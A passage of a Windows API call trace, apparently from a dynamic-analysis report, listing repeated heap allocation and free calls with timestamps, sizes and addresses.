Size=0x830) returned 0x30c8ab8 [0060.817] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.817] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.817] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.817] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.817] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.818] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.818] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.818] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.818] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.818] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.818] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.818] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.818] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0060.818] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.818] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.818] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.818] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.818] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.818] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.818] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.818] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.818] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.818] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.818] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.818] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.818] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.818] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.818] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.818] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.818] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.818] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.818] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.818] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.818] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.818] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.818] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.819] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.819] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.819] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.819] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.819] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.819] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.819] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.819] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.819] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.819] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.819] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.819] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.819] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.819] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.819] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.819] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.819] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.819] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.819] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.819] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.819] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.819] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.819] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.819] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.819] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.819] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.819] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.819] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.819] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.819] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.820] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.820] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.820] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.820] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.820] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.820] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.820] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.820] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.820] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.820] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.820] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.820] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.820] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.820] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.820] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.820] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.820] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.820] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.820] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.820] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.820] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.820] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.820] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0060.820] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.820] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.820] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.820] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.820] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.820] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.820] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.820] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.821] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.821] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.821] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.821] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.821] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.821] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.821] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.821] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.821] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.821] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.821] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.821] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.821] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.821] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.821] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.821] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.821] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.821] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.821] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.821] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.821] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.821] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.821] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.821] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.821] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.821] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.821] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.821] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.821] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.821] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.821] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.822] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.822] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.822] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.822] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.822] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.822] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.822] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.822] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.822] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.822] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.822] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.822] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.822] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.822] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.822] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.822] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.822] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.822] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.822] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.822] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.822] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.822] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.822] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.822] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.822] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.822] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.822] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.822] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.822] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.822] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.822] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.823] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.823] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.823] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.823] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.823] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.823] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.823] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.823] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.823] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.823] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.823] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.823] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.823] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.823] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.823] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.823] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.823] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.823] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.823] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.823] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.823] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.823] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.823] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.823] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.823] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.823] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.823] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.823] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.823] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.823] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.823] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.824] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.824] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.824] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.824] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.824] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.824] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.824] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.824] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.824] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.824] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.824] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.824] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.824] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.824] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.824] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.824] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.824] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.824] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.824] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.824] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.824] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.824] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.824] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.824] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.824] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.824] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.824] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.824] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.824] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.824] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.824] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.825] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.825] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.825] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.825] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.825] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.825] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.825] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.825] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.825] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.825] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.825] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.825] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.825] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.825] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.825] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.825] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.825] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.825] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.825] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.825] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.825] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.825] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.825] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.825] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.825] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.825] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.825] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.825] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.825] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.825] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.825] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.826] HeapFree (in: 